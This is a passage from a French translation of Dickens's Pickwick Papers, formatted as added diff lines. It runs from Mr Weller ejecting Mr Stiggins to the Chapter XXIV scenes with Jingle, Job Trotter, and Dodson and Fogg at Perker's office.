+--Vous voulez dire qu'ils sont les favoris de tout le monde, et que
+personne ne veut abuser de leur innocence.»
+
+Le père Weller fit un signe de tête affirmatif, puis il ajouta:
+
+«Comment ça en est venu là, je ne peux pas le dire. Pourquoi le cocher
+de diligence possède tant d'insinuation et est toujours lorgné,
+recherché, adoré par toutes les jeunes femmes dans chaque ville où il
+travaille, je n'en sais rien; je sais seulement que c'est comme ça.
+C'est une règle de la nature, un dispensaire de la providence, comme
+votre pauvre belle-mère avait l'habitude de dire.
+
+--Une dispensation, fit observer Sam, en corrigeant le vieux gentleman.
+
+--Très-bien, Samivel, une dispensation si ça te plaît; moi je l'appelle
+un dispensaire, et c'est toujours écrit comme ça dans les endroits où on
+vous donne des médecines pour rien, pourvu que vous apportiez une fiole:
+voila tout.»
+
+En prononçant ces mots, M. Weller bourra et ralluma sa pipe; puis,
+reprenant encore une expression de physionomie réfléchie, il continua
+ainsi qu'il suit:
+
+«C'est pourquoi, mon garçon, comme je ne vois pas l'utilité de rester
+ici pour être marié de force, et comme je ne veux pas me séparer des
+plus aimables membres de la sociliété, j'ai résolu de conduire encore
+l'_inversable_, et de me remiser à la _Belle-Sauvage_, ce qu'est mon
+élément naturel, Sammy.
+
+--Et qu'est-ce que la boutique deviendra?
+
+--La boutique, mon garçon, fonds, crientèle et ameublement, sera vendue
+par un bon contrat, et comme ta belle-mère m'en a montré le désir avant
+de mourir, sur le prix de la vente on relèvera deux cents livres
+sterling, qui seront placées en ton nom dans les.... Comment appelles-tu
+ces machines-là?
+
+--Quelles machines?
+
+--Ces histoires qui sont toujours à monter et à descendre dans la cité.
+
+--Les omnibus?
+
+--Non, ces histoires qui sont toujours en fluctuation, et qui
+s'entremêlent continuellement, d'une manière ou d'une autre, avec la
+dette nationale, les bons du trésor et tout ça?
+
+--Ah! les fonds publics.
+
+--Oui, les fontes publiques. Deux cents livres sterling, qui seront
+placées pour toi dans les fontes, quatre et demi pour cent, Sammy.
+
+--C'est très-aimable de la part de la vieille lady, d'avoir pensé à moi,
+et je lui en suis fort obligé.
+
+--La reste sera plaça en mon nom, et quand je recevrai ma feuille de
+route, ça te reviendra. Ainsi prends garde de ne pas tout dépenser d'un
+coup, mon garçon, et fais attention qu'il n'y ait pas quelque veuve qui
+se doute de ta fortune, ou bien te voilà enfoncé!»
+
+Ayant proféré cet avertissement paternel, M. Weller reprit sa pipe avec
+une contenance plus sereine, son esprit étant en apparence
+considérablement soulagé par la révélation qu'il venait de faire à son
+fils.
+
+«On frappe, dit Sam au bout d'un moment.
+
+--Laisse-les frapper,» répondit son père avec dignité.
+
+Sam demeurant donc immobile, un autre coup se fit entendre, puis un
+autre, puis une longue succession de coups, et Sam demandant pourquoi la
+personne qui tapait n'était pas admise:
+
+«Chut! murmura M. Weller avec un air d'appréhension; n'y fais pas
+attention, Sammy, c'est une veuve peut-être.»
+
+Au bout de quelque temps l'invisible tapeur, remarquant qu'on ne
+s'occupait pas de lui, s'aventura à entr'ouvrir la porte pour jeter un
+coup d'oeil dans la chambre, et l'on aperçut alors par l'ouverture, non
+pas une tête féminine, mais les longs cheveux noirs et la face rougeaude
+de M. Stiggins.
+
+La pipe du vieux cocher lui tomba des mains.
+
+Le révérend gentleman entre-bâilla la porte par un mouvement presque
+imperceptible, jusqu'à ce que l'ouverture fût assez large pour permettre
+le passage de son corps décharné, puis il se glissa dans la chambre et
+referma la porte avec soin et sans faire de bruit. Se tournant alors
+vers Sam il leva ses yeux et ses mains vers le plafond, en témoignage du
+chagrin inexprimable que lui avait causé la calamité tombée sur la
+famille; puis il porta le grand fauteuil dans un coin, auprès du feu, et
+s'asseyant sur le bord du siége, tira de sa poche un mouchoir brun, et
+l'appliqua à ses yeux.
+
+Tandis que ceci se passait, M. Weller était demeuré sur sa chaise, les
+yeux démesurément ouverts, les mains plantées sur ses genoux, et toute
+sa contenance exprimant la stupéfaction la plus accablante. Sam placé
+vis-à-vis de lui attendait en silence et avec une inquiète curiosité, la
+fin de cette scène.
+
+M. Stiggins tint, pendant quelques minutes, le mouchoir brun devant ses
+yeux, tout en gémissant d'une manière décente. Ensuite, ayant surmonté
+sa tristesse par un violent effort, il remit son mouchoir dans sa poche
+et l'y boutonna; après quoi il attisa le feu, frotta ses mains, et
+regarda Sam.
+
+«Oh! mon jeune ami, dit-il en rompant le silence, mais d'une voix
+très-basse; voilà une terrible affliction pour moi.»
+
+Sam baissa légèrement la tête.
+
+«Et pour l'impie également! Cela fait saigner le coeur.»
+
+Sam crut entendre son père murmurer quelque chose sur un nez qui
+pourrait bien aussi saigner; mais M. Stiggins ne l'entendit point.
+
+Le révérend rapprocha sa chaise de Sam.
+
+«Savez-vous, jeune homme, lui dit-il, si elle a légué quelque chose à
+Emmanuel?
+
+--Qui c'est-il? demanda Sam.
+
+--La chapelle..., notre chapelle..., notre troupeau, monsieur Samuel.
+
+--Elle n'a rien laissé pour le troupeau, rien pour le berger, rien pour
+les animaux, ni pour les chiens non plus,» répondit Sam d'un ton
+décisif.
+
+M. Stiggins regarda Sam finement, jeta un coup d'oeil au vieux gentleman
+qui avait fermé les yeux, comme s'il s'était endormi, et rapprochant
+encore sa chaise de Sam, lui dit:
+
+«Rien pour moi, monsieur Samuel?»
+
+Sam secoua la tête.
+
+«Il me semble qu'il doit y avoir quelque chose, dit Stiggins en devenant
+aussi pâle que cela lui était possible. Rappelez-vous bien, monsieur
+Samuel, pas un petit souvenir?
+
+--Pas seulement la valeur de votre vieux parapluie.
+
+--Peut-être, reprit avec hésitation M. Stiggins, après quelques minutes
+de réflexion profonde; peut-être qu'elle m'a recommandé aux soins de
+l'impie?
+
+--C'est fort probable, d'après ce qu'il m'a dit. Il me parlait de vous
+tout à l'heure.
+
+--Vraiment! s'écria M. Stiggins en se rassérénant. Ah! il est changé, je
+l'espère? Nous pourrons vivre très-confortablement ensemble maintenant,
+monsieur Samuel. Je pourrai prendre soin de son bien, quand vous serez
+partis; bien du soin, croyez-moi.»
+
+Tirant du fond de sa poitrine un long soupir, M. Stiggins s'arrêta pour
+attendre une réponse; Sam baissa la tête, et M. Weller laissa exhaler un
+son extraordinaire qui n'était ni un gémissement, ni un grognement, ni
+un râlement, mais qui paraissait participer, en quelque degré, du
+caractère de tous les trois.
+
+M. Stiggins, encouragé par ce son, qu'il expliqua comme un signe de
+repentir, regarda autour de lui, frotta ses mains, pleura, sourit,
+pleura sur nouveaux frais; et ensuite, traversant doucement la chambre,
+prit un verre sur une tablette bien connue, et y mit gravement quatre
+morceaux de sucre. Ce premier acte accompli, il regarda de nouveau
+autour de lui, et soupira lugubrement, puis il entra à pas de loup dans
+le comptoir, et revenant avec son verre à moitié plein de rhum, il
+s'approcha de la bouilloire qui chantait gaiement sur le foyer, mélangea
+son grog, le remua, le goûta, s'assit, but une longue gorgée, et
+s'arrêta pour reprendre haleine.
+
+M. Weller, qui avait continué à faire d'effrayants efforts pour paraître
+endormi, ne hasarda pas la plus légère remarque pendant ces opérations,
+mais quand M. Stiggins s'arrêta pour reprendre haleine, il se précipita
+sur lui, arracha le verre de ses mains, lui jeta au visage le restant du
+grog, lança le verre dans la cheminée, et saisissant par le collet le
+révérend gentleman, lui détacha soudainement des coups de pied par
+derrière, en accompagnant chaque application de sa botte de violents et
+incohérents anathèmes, sur toute la personne du berger étourdi.
+
+«Sammy, dit-il en s'arrêtant un moment, enfonce-moi solidement mon
+chapeau.»
+
+En fils soumis, Sam enfonça le chapeau paternel orné de la longue bande
+de crêpe, et le brave cocher, reprenant ses occupations plus activement
+que jamais, roula avec M. Stiggins à travers le comptoir, à travers le
+passage, à travers la porte de la rue, et arriva dans la rue même, les
+coups de pied continuant tout le long du chemin, et leur violence, loin
+de diminuer, paraissant s'augmenter encore, chaque fois que la botte se
+levait.
+
+C'était un superbe et réjouissant spectacle, de voir l'homme au nez
+rouge, dont le corps tremblait d'angoisse, se tordre dans les serres de
+M. Weller tandis que les coups de pied se succédaient furieusement.
+Mais l'intérêt redoubla, lorsque le puissant cocher, après une lutte
+gigantesque, plongea la tête de M. Stiggins dans une auge pleine d'eau,
+et l'y tint enfoncée jusqu'à ce qu'il fût presque suffoqué.
+
+«Voilà! dit-il enfin en permettant au révérend de retirer sa tête de
+l'auge, et en mettant toute son énergie dans un dernier coup de pied.
+Envoyez-moi ici quelques-uns de vos paresseux de bergers, et je les
+réduirai en gelée, puis je les délayerai ensuite. Sammy, donne-moi le
+bras, et verse-moi un verre d'eau-de-vie, je suis tout hors d'haleine,
+mon garçon.»
+
+
+
+
+CHAPITRE XXIV.
+
+Comprenant la sortie finale de MM. Jingle et Job Trotter, avec une
+grande matinée d'affaires dans _Gray's Inn square_, terminée par un
+double coup frappé à la porte de M. Perker.
+
+
+Lorsque M. Pickwick, après de prudentes préparations et de nombreuses
+assurances qu'il n'y avait pas la plus petite raison d'être découragé,
+eut appris à Arabelle le résultat peu satisfaisant de sa visite à
+Birmingham, elle fondit en larmes et se plaignit en termes touchants,
+d'être un malheureux sujet de discorde entre le père et le fils.
+
+«Ma chère enfant, dit M. Pickwick avec bonté, ce n'est pas du tout votre
+faute. Il était impossible de prévoir que le vieux Winkle serait si
+fortement prévenu contre le mariage de son fils. Je suis sûr,
+ajouta-t-il en regardant son joli visage, qu'il ne se doute pas de tout
+le plaisir qu'il se refuse.
+
+--Oh! mon cher monsieur Pickwick, reprit Arabelle, que ferons-nous s'il
+continue à être en colère contre nous?
+
+--Nous attendrons patiemment qu'il se ravise, ma chère enfant, répliqua
+l'excellent homme d'un air conciliant.
+
+--Mais, mon cher monsieur Pickwick, qu'est-ce que Nathaniel deviendra si
+son père lui retire son assistance.
+
+--En ce cas-là, ma chère petite, je parierais bien qu'il trouvera
+quelque autre ami pour l'aider à faire son chemin dans le monde.»
+
+La signification de cette réponse s'était pas assez voilée pour
+qu'Arabelle ne la comprît point: aussi jetant ses bras autour du cou de
+M. Pickwick, elle l'embrassa tendrement, et sanglota encore plus fort.
+
+«Allons, allons! dit-il en prenant ses mains nous attendrons encore
+quelques jours, et nous verrons s'il écrit ou s'il fait quelque autre
+réponse à la communication de votre mari. Si nous ne recevons pas de
+nouvelles, j'ai dans la tête une douzaine de plans, dont un seul
+suffirait pour vous rendre heureux sur-le-champ. Voilà, ma chère,
+voilà.»
+
+En disant ces mots, M. Pickwick pressa doucement la main d'Arabelle, et
+l'invita à sécher ses larmes, pour ne point tourmenter son mari.
+Aussitôt, la jeune femme, qui était la meilleure petite créature du
+monde, mit son mouchoir dans son sac, et lorsque M. Winkle arriva, il
+trouva sur sa physionomie le même gracieux sourire et les mêmes regards
+étincelants qui l'avaient originairement captivé.
+
+«Voilà une situation affligeante pour ces deux jeunes gens, pensa M.
+Pickwick, en s'habillant le lendemain matin. Je vais aller jusque chez
+Perker, et le consulter là-dessus.» Comme il était en outre invité à se
+rendre chez le bon petit avoué par un vif désir de régler son compte
+avec lui, il déjeuna à la hâte, et exécuta ses intentions si rapidement,
+qu'il s'en fallait encore de dix minutes que l'horloge eût sonné dix
+heures quand il atteignit _Gray's Inn_.
+
+Lorsqu'il se trouva sur le carré où s'ouvrait l'étude de Perker, les
+clercs n'étaient pas arrivés et il se mit à la fenêtre pour passer le
+temps.
+
+Le soleil, tant célébré, d'une belle matinée d'octobre, semblait égayer
+un peu les vieilles maisons elles-mêmes, et quelques-unes des fenêtres
+vermoulues paraissaient presque joyeuses, grâce à l'influence de ses
+rayons. Les clercs, arrivant par les diverses portes, se précipitaient
+l'un après l'autre dans le square, et regardant la grande horloge,
+diminuaient ou augmentaient leur vitesse, suivant l'heure à laquelle
+leur bureau devait s'ouvrir; les gens de neuf heures et demie, devenant
+tout à coup fort empressés, et les gentlemen de dix heures retombant
+dans une lenteur aristocratique. L'horloge sonna dix heures, et le flot
+des clercs se répandit plus vite que jamais, chacun d'eux arrivant en
+plus grande transpiration que son prédécesseur. Le bruit des portes
+ouvertes et fermées retentissait de tous les côtés; des têtes
+apparaissaient, comme par enchantement, à chaque fenêtre; les
+commissionnaires prenaient leur place pour la journée; les femmes de
+ménage, en savates, se retiraient précipitamment; le facteur courait de
+maison en maison, et toute la ruche légale se montrait pleine
+d'agitation.
+
+«Vous voilà de bien bonne heure, monsieur Pickwick, dit une voix
+derrière notre savant ami.
+
+--Ah! ah! monsieur Lowten! répliqua M. Pickwick en se retournant.
+
+--Il fait joliment chaud à marcher, reprit Lowten en tirant de sa poche
+une clef Bramah, garnie d'un petit fausset, pour empêcher l'entrée de la
+poussière.
+
+--Il paraît que vous vous en êtes aperçu, dit M. Pickwick au clerc qui
+était rouge comme une écrevisse.
+
+--Je suis venu un peu vite. Il était neuf heures et demie quand j'ai
+traversé le _Polygone_; mais comme je suis arrivé avant lui, ça m'est
+égal!»
+
+Consolé par cette réflexion, M. Lowten ôta la cheville de sa clef,
+ouvrit la porte, rechevilla et rempocha son bramah, recueillit les
+lettres que le facteur avait mises dans la boîte, et introduisit M.
+Pickwick dans son cabinet. Là, en un clin d'oeil, il se dépouilla de son
+habit, tira d'un pupitre et endossa un vêtement râpé jusqu'à la corde,
+accrocha son chapeau, tira quelques feuilles de papier-cartouche,
+disposées par lits alternatifs avec des feuillets de papier buvard, et
+posant sa plume sur son oreille, frotta ses mains avec un air de grande
+satisfaction.
+
+«Vous voyez, monsieur Pickwick, me voilà au grand complet! J'ai mis mon
+habit de bureau, ma boutique est ouverte; il peut venir maintenant aussi
+vite qu'il voudra. Est-ce que vous n'avez pas une prise de tabac à me
+donner?
+
+--Je n'en ai pas, malheureusement.
+
+--Tant pis! mais c'est égal, je vais courir chercher une bouteille de
+soda-water. N'ai-je pas quelque chose de drôle dans les yeux, monsieur
+Pickwick?»
+
+Le philosophe consulté examina d'une certaine distance les yeux de M.
+Lowten, et exprima son opinion qu'ils n'avaient rien de plus drôle qu'à
+l'ordinaire.
+
+«J'en suis bien aise, reprit leur possesseur. Nous ne nous en sommes pas
+mal donné, la nuit passée, à la _Souche_, et je me sens tout farce, ce
+matin.--À propos, Perker s'occupe de votre affaire.
+
+--Quelle affaire? Les frais pour mistress Bardell?
+
+--Non, l'affaire du débiteur pour qui nous avons racheté les dettes,
+par votre ordre, à un rabais de cinquante pour cent. Perker va le tirer
+de prison et l'envoyer à Demerary.
+
+--Ha! M. Jingle, dit vivement M. Pickwick. Eh bien!
+
+--Eh bien! tout est arrangé, répondit Lowten, en surcoupant sa plume.
+L'agent de Liverpool a dit qu'il avait été obligé par vous bien des
+fois, quand vous étiez dans les affaires, et qu'il le prendrait avec
+plaisir, sur votre recommandation.
+
+--C'est très-bien, répondit M. Pickwick; j'en suis charmé.
+
+--Mais, reprit Lowten en grattant une autre plume avec le dos de son
+canif avant de la tailler; l'autre est-il bonasse!
+
+--Quel autre?
+
+--Eh! mais, le domestique, ou l'ami,... vous savez bien,... Trotter.
+
+--Bah! fit M. Pickwick, avec un sourire, j'ai toujours pensé de lui tout
+le contraire.
+
+--Eh bien! moi aussi, d'après le peu que j'en avais vu. Cela montre
+seulement comment on est trompé. Qu'est-ce que vous diriez s'il s'en
+allait à Demerary aussi?
+
+--Quoi? il renoncerait à ce qu'on lui offre ici?
+
+--Il a reçu comme rien l'offre que lui faisait Perker de dix-huit
+shillings par semaine, avec de l'avancement s'il se comportait bien. Il
+dit qu'il ne peut pas quitter l'autre. Il a persuadé à Perker d'écrire
+sur nouveaux frais, et on lui a trouvé quelque chose sur la même
+propriété... d'un peu moins avantageux que ce qu'obtiendrait un
+_convict_ dans la Nouvelle-Galles au sud, s'il paraissait devant le
+tribunal avec des habits neufs.
+
+--Quelle folie! s'écria M. Pickwick avec des yeux brillants, quelle
+folie!
+
+--Oh! c'est pire que de la folie, c'est de la véritable bassesse, comme
+vous voyez, répliqua Lowten en coupant sa plume d'un air méprisant. Il
+dit que c'est le seul ami qu'il ait jamais eu, et qu'il lui est attaché,
+et tout ça. L'amitié est certainement une très-bonne chose, dans son
+genre. Par exemple, après notre grog, nous sommes tous très-bons amis, à
+_la Souche_, où chacun paye son écot. Mais le diable emporte celui qui
+se sacrifierait pour un autre, n'est-ce pas? Un homme ne doit avoir que
+deux attachements: l'un pour le premier des pronoms personnels, l'autre
+pour les dames en général; voilà mon système, ha! ha! ha!»
+
+M. Lowten termina cette profession du foi par un bruyant éclat de rire,
+moitié joyeux, moitié dérisoire, mais qui fut coupé court par le bruit
+des pas de Perker sur l'escalier. En l'entendant approcher, le clerc
+s'élança sur son tabouret avec une agilité remarquable, et se mit à
+écrire furieusement.
+
+Les salutations entre M. Pickwick et son conseiller légal furent
+cordiales et chaudes, mais le client était à peine étendu dans le
+fauteuil de l'avoué, quand un coup se fit entendre à la porte, et une
+voix demanda si M. Perker était là.
+
+«Écoutez, dit le petit homme, c'est un de nos vagabonds; Jingle
+lui-même, mon cher monsieur. Voulez-vous le voir?...
+
+--Qu'en pensez-vous? demanda M. Pickwick en hésitant.
+
+--Je pense que vous ferez bien. Allons, monsieur... chose... entrez.»
+
+Obéissant à cette invitation familière, Jingle et Job entrèrent dans la
+chambre; mais, apercevant M. Pickwick, ils s'arrêtèrent avec confusion.
+
+«Eh bien, dit Perker, reconnaissez-vous ce gentleman?
+
+--Bonnes raisons pour cela, répliqua Jingle en s'avançant. Monsieur
+Pickwick, les plus grandes obligations, sauvé la vie, remis à flot. Vous
+ne vous en repentirez jamais, monsieur.
+
+--Je suis charmé de vous l'entendre dire, répondit M. Pickwick. Vous
+avez bien meilleure mine.
+
+--Grâces à vous, monsieur. Grand changement. La prison de Sa Majesté,
+malsaine, très-malsaine,» dit Jingle en hochant la tête.
+
+Il était proprement et décemment vêtu, ainsi que Job, qui se tenait
+debout derrière lui, regardant fixement M. Pickwick avec un visage
+d'airain.
+
+«Quand partent-ils pour Liverpool? demanda M. Pickwick à son avoué.
+
+--Ce soir, monsieur, à sept heures, dit Job en avançant d'un pas; par la
+grande diligence de la cité, monsieur.
+
+--Les places sont retenues?
+
+--Oui, monsieur.
+
+--Et vous êtes tout à fait décidé à partir?
+
+--Tout à fait, monsieur.
+
+--Quant à l'équipement de Jingle, dit Perker en s'adressant tout haut à
+M. Pickwick, j'ai pris sur moi de faire un arrangement pour déduire,
+tous les trois mois, de son salaire, une petite somme, et pour nous
+rembourser ainsi de l'argent qu'il a fallu avancer. Je désapprouve
+entièrement que vous fassiez pour lui quelque chose qu'il ne
+reconnaîtrait pas par ses propres efforts et par sa bonne conduite.
+
+--Certainement, interrompit Jingle avec fermeté. Esprit juste, homme du
+monde, il a raison, parfaitement raison.
+
+--En désintéressant ses créanciers, en retirant ses habits mis en gage,
+en le nourrissant dans la prison, en payant le prix de son passage,
+continua Perker sans s'occuper de l'observation de Jingle, vous avez
+déjà perdu plus de cinquante livres sterling....
+
+--Pas perdus! s'écria Jingle précipitamment, tout sera remboursé. Je
+travaillerai comme un cheval jusqu'au dernier liard. La fièvre jaune,
+peut-être... ça ne peut pas s'empêcher... sinon....»
+
+Jingle s'arrêta, et, frappant le fond de son chapeau avec violence,
+passa sa main sur ses yeux et s'assit.
+
+«Il veut dire, ajouta Job en s'avançant de quelques pas, il veut dire
+que s'il n'est pas emporté par la fièvre jaune, il remboursera tout
+l'argent. S'il vit, il le fera, monsieur Pickwick; j'y tiendrai la main.
+Je suis sûr qu'il le fera, monsieur, répéta Job avec beaucoup d'énergie;
+j'en ferais volontiers serment.
+
+--Bien, bien,» dit M. Pickwick, qui, pour arrêter l'énumération de ses
+bienfaits, avait fait au petit avoué une douzaine de signes que celui-ci
+s'était obstiné à ne point remarquer. «Je vous engage seulement à jouer
+plus modérément à la crosse, monsieur Jingle, et à ne point renouer
+connaissance avec sir Thomas Blazo. Moyennant cela, je ne doute pas que
+vous ne conserviez votre santé.»
+
+M. Jingle sourit à cette saillie, mais en même temps il avait l'air
+embarrassé, aussi M. Pickwick changea-t-il de sujet en disant:
+«Savez-vous ce qu'est devenu un de vos amis, un pauvre diable, que j'ai
+vu à Rochester?
+
+--Jemmy le lugubre? demanda Jingle.
+
+--Oui.
+
+--Gaillard malin, reprit Jingle en branlant la tête, drôle de corps,
+génie mystificateur, frère de Job.
+
+--Frère de Job! s'écria M. Pickwick. Eh bien, maintenant que j'y regarde
+de plus prés, je trouve de la ressemblance.
+
+--On en a toujours trouvé entre nous, dit Job avec un grain de malice
+dans le coin de ses yeux; seulement, j'étais réellement d'une nature
+sérieuse, et lui tout le contraire. Il a émigré en Amérique, monsieur,
+parce qu'on s'occupait trop de lui dans ce pays-ci. Nous n'en avons plus
+entendu parler depuis.
+
+--Cela m'explique pourquoi je n'ai pas reçu _la page du roman de la vie
+réelle_ qu'il m'avait promise un matin sur le pont de Rochester, où il
+paraissait méditer un suicide. Je puis apparemment me dispenser de
+demander si sa conduite lugubre était naturelle ou affectée? continua M.
+Pickwick en souriant.
+
+--Il savait jouer tous les rôles, monsieur, et vous devez vous regarder
+comme très-heureux de lui avoir échappé si aisément. Ç'aurait été pour
+vous une connaissance encore plus dangereuse que....»
+
+Job regarda Jingle, hésita et ajouta finalement:
+
+«Que..., que moi-même.
+
+--Savez-vous que votre famille donnait beaucoup d'espérances, monsieur
+Trotter? dit le petit avoué en cachetant une lettre qu'il venait
+d'écrire.
+
+--C'est vrai, monsieur, beaucoup.
+
+--J'espère que vous allez la déshonorer, reprit Perker en riant. Donnez
+cette lettre à l'agent, quand vous arriverez à Liverpool, et
+permettez-moi de vous engager, gentlemen, à ne pas être trop habiles en
+Amérique. Si vous manquiez cette occasion de vous réhabiliter, vous
+mériteriez richement d'être pendus tous les deux, comme j'espère
+dévotement que vous le seriez. Maintenant, vous pouvez me laisser seul
+avec M. Pickwick, car nous avons des affaires à terminer, et le temps
+est précieux.»
+
+En disant cela, Perker regarda la porte, avec le désir évident de rendre
+les adieux aussi brefs que possible.
+
+Ils furent assez brefs, en effet, de la part de Jingle. Il remercia par
+quelques paroles précipitées le petit avoué de la bonté et de la
+promptitude qu'il avait déployées pour le secourir; puis, se tournant
+vers son bienfaiteur, il resta immobile pendant quelques secondes, comme
+incertain de ce qu'il devait faire ou dire. Job Trotter termina sa
+perplexité, car, ayant fait à M. Pickwick un salut humble et
+reconnaissant, il prit doucement son ami par le bras, et l'emmena hors
+de la chambre.
+
+«Un digne couple! dit Perker lorsque la porte se fut refermée derrière
+eux.
+
+--J'espère qu'ils le deviendront, répliqua M. Pickwick. Qu'en
+pensez-vous? Y a-t-il quelques chances pour qu'ils s'amendent?»
+
+Perker haussa les épaules, mais observant l'air désappointé de M.
+Pickwick, il répondit:
+
+«Nécessairement il y a une chance; j'espère qu'elle sera bonne. Ils
+sont évidemment repentants, maintenant; mais, comme vous le savez, ils
+ont encore le souvenir tout frais de leurs souffrances récentes. Ce
+qu'ils feront quand ce souvenir se sera effacé, c'est un problème que ni
+vous ni moi ne pouvons résoudre. Cependant, mon cher monsieur,
+ajouta-t-il en posant sa main sur l'épaule de M. Pickwick, votre action
+est également honorable, quel qu'en soit le résultat. Je laisse à des
+têtes plus habiles que la mienne le soin de décider si cette espèce de
+bienveillance, si clairvoyante, qu'elle s'exerce rarement, de peur de
+s'exercer mal à propos, est une charité réelle ou bien une contrefaçon
+mondaine de la charité. Mais, quand ces deux gaillards-ci commettraient
+un Vol qualifié dès demain, mon opinion sur votre conduite n'en serait
+pas moins toujours la même.»
+
+Ayant débité ce discours d'une manière plus animée que ce n'est
+l'habitude des gens d'affaires, il approcha sa chaise de son bureau et
+écouta le récit que lui fit M. Pickwick de l'obstination du vieux M.
+Winkle.
+
+«Donnez-lui une semaine, dit-il en hochant la tête d'une manière
+prophétique.
+
+--Pensez-vous qu'il se rendra?
+
+--Mais, oui; autrement, il faudrait essayer les moyens de persuasion de
+la jeune dame, et c'est même par où tout autre que vous aurait
+commencé.»
+
+M. Perker prenait une prise de tabac avec diverses contractions
+grotesques de sa physionomie, en honneur du pouvoir persuasif des jeunes
+ladies, lorsqu'on entendit dans le premier bureau un murmure de demandes
+et de réponses; après quoi, Lowten frappa à la porte du cabinet.
+
+«Entrez!» cria le petit homme.
+
+Le clerc entra et ferma la porte après lui d'un air mystérieux.
+
+«Qu'est-ce qu'il y a? lui dit Perker.
+
+--On vous demande, monsieur.
+
+--Qui donc?»
+
+Lowten regarda M. Pickwick et fit entendre une légère toux.
+
+«Qui est-ce qui me demande? Est-ce que vous ne pouvez pas parler,
+monsieur Lowten?
+
+--Eh! mais, monsieur, MM. Dodson et Fogg.
+
+--Parbleu! s'écria le petit homme en regardant à sa montre, je leur ai
+donné rendez-vous ce matin à onze heures et demie pour terminer votre
+affaire, Pickwick. C'est fort embarrassant; que ferez-vous, mon cher
+monsieur? Voudriez-vous passer dans la chambre à côté?»
+
+La chambre à côté étant précisément celle dans laquelle se trouvaient
+Dodson et Fogg, M. Pickwick répliqua avec une contenance animée et
+beaucoup de marques d'indignation qu'il voulait rester où il était,
+attendu que MM. Dodson et Fogg devaient être honteux de paraître devant
+lui, mais que lui pouvait les regarder en face sans rougir, circonstance
+qu'il priait instamment M. Perker de noter.
+
+«Très-bien, mon cher monsieur, répliqua M. Perker. Je vous dirai
+seulement que, si vous vous attendez à ce que Dodson ou Fogg montrent
+quelques symptômes de honte ou de confusion en vous regardant ou en
+regardant qui que ce soit en face, vous êtes l'homme le plus jeune que
+j'aie jamais rencontré. Faites-les entrer, monsieur Lowten.»
+
+M. Lowten disparut en riant tout bas; et, revenant bientôt après,
+introduisit formellement les associés, Dodson d'abord, et Fogg ensuite.
+
+«Vous avez déjà vu M. Pickwick, je pense, dit Perker en inclinant sa
+plume dans la direction où le philosophe était assis.
+
+--Comment vous portez-vous, monsieur Pickwick? cria Dodson d'une voix
+bruyante.
+
+--Eh! eh! comment vous portez-vous, monsieur Pickwick? reprit Fogg en
+approchant sa chaise et en regardant autour de lui avec un sourire.
+J'espère que vous n'allez pas mal ce soir? Je savais bien que je
+connaissais votre figure.»
+
+M. Pickwick inclina fort légèrement la tête en réponse à ces
+salutations, puis, voyant que Fogg tirait un paquet de sa poche, il se
+leva et se retira dans l'embrasure de la croisée.
+
+«Il n'y a pas besoin que M. Pickwick se dérange, monsieur Perker, dit
+Fogg en détachant le cordon rouge qui entourait le petit paquet et en
+souriant encore plus agréablement. M. Pickwick connaît déjà cette
+affaire-là. Il n'y a point de secret entre nous, j'espère. Hé! hé! hé!
+
+--Non; il n'y en a guère, ajouta Dodson; ha! ha! ha!» et les deux
+partenaires se mirent à rire joyeusement, comme on fait d'ordinaire
+quand on va recevoir de l'argent.
+
+--M. Pickwick a bien acheté le droit de tout voir, reprit Fogg d'un air
+notablement spirituel. Le montant des sommes taxées est de cent
+trente-trois livres sterling six shillings et quatre pence, monsieur
+Perker.»
+
+Perker et Fogg s'occupèrent alors attentivement à comparer des papiers,
+à tourner des feuillets, et, pendant ce temps, Dodson dit à M. Pickwick
+d'une manière affable:
+
+«Vous ne m'avez pas l'air tout à fait aussi solide que la dernière fois
+où j'ai eu le plaisir de vous voir, monsieur Pickwick.
+
+--C'est possible, monsieur, répliqua notre héros, qui avait lancé sur
+les deux habiles praticiens mille regards d'indignation, sans produire
+sur eux le plus léger effet. C'est très-probable, monsieur. J'ai été
+dernièrement tourmenté et persécuté par des fripons, monsieur.»
+
+Perker toussa violemment et demanda à M. Pickwick s'il ne voulait pas
+jeter un coup d'oeil sur le journal; mais celui-ci répondit par la
+négative la plus décidée.
+
+«Effectivement, reprit Dodson, je parierais que vous avez été tourmenté
+dans la prison. Il y a là de drôles de gens. Où était votre appartement,
+monsieur Pickwick?
+
+--Mon unique chambre était à l'étage du café.
+
+--Oh! en vérité! C'est, je pense, la partie la plus agréable de
+l'établissement.
+
+--Très-agréable,» répliqua sèchement M. Pickwick.
+
+Le sang-froid de ce misérable était bien fait pour exaspérer une
+personne d'un tempérament irritable. M. Pickwick restreignit sa colère
+par des efforts gigantesques; mais quand Perker eut écrit un mandat pour
+le montant de la somme, et lorsque Fogg le déposa dans son portefeuille
+avec un sourire triomphant, qui se communiqua également à la contenance
+de Dodson, il sentit que son sang montait dans ses joues en bouillonnant
+d'indignation.
+
+«Allons, monsieur Dodson, dit Fogg en empochant son portefeuille et en
+mettant ses gants, je suis à vos ordres.
+
+--Très-bien, répondit Dodson en se levant; je suis aux vôtres.
+
+--Je me trouve très-heureux, reprit Fogg, adouci par le mandat qu'il
+avait empoché, je me trouve très-heureux d'avoir eu le plaisir de faire
+la connaissance de monsieur Pickwick. J'espère, monsieur, que vous
+n'avez plus aussi mauvaise opinion de nous, que la première fois où nous
+avons eu le plaisir de vous rencontrer.
+
+--J'espère que non, ajoute Dodson avec le ton d'élévation d'une vertu
+calomniée. Vous nous connaissez mieux maintenant monsieur Pickwick; mais
+quelle que puisse être votre opinion des gentlemen de notre profession,
+je vous prie de croire, monsieur, que je ne conserve pas de rancune
+contre vous, pour les sentiments qu'il vous a plu d'exprimer dans notre
+bureau de _Freeman's Court Cornhill_, lors de la circonstance à laquelle
+mon associé vient de faire allusion.
+
+--Oh! non, nous dit Fogg avec une charité toute chrétienne.
+
+--Notre conduite, monsieur, poursuivit l'autre associé, parlera pour
+elle-même et se justifiera d'elle-même, en toutes occasions. Nous avons
+été dans la profession pas mal d'années, monsieur Pickwick, et nous
+avons mérité la confiance de beaucoup d'honorables clients. Je vous
+souhaite le bonjour, monsieur.
+
+--Bonjour, monsieur Pickwick, dit Fogg; en parlant ainsi, il mit son
+parapluie sous son bras, ôta son gant droit, et tendit une main
+conciliatrice au philosophe indigné. Celui-ci fourra aussitôt ses
+poignets sous les pans de son habit, et lança à l'avoué des regards
+pleins d'une surprise méprisante.
+
+--Lowten! s'écria au même instant M. Perker, ouvrez la porte!
+
+--Attendez un instant, dit M. Pickwick. Je veux parler, Perker.
+
+--Mon cher monsieur, interrompit le petit avoué, qui, pendant toute
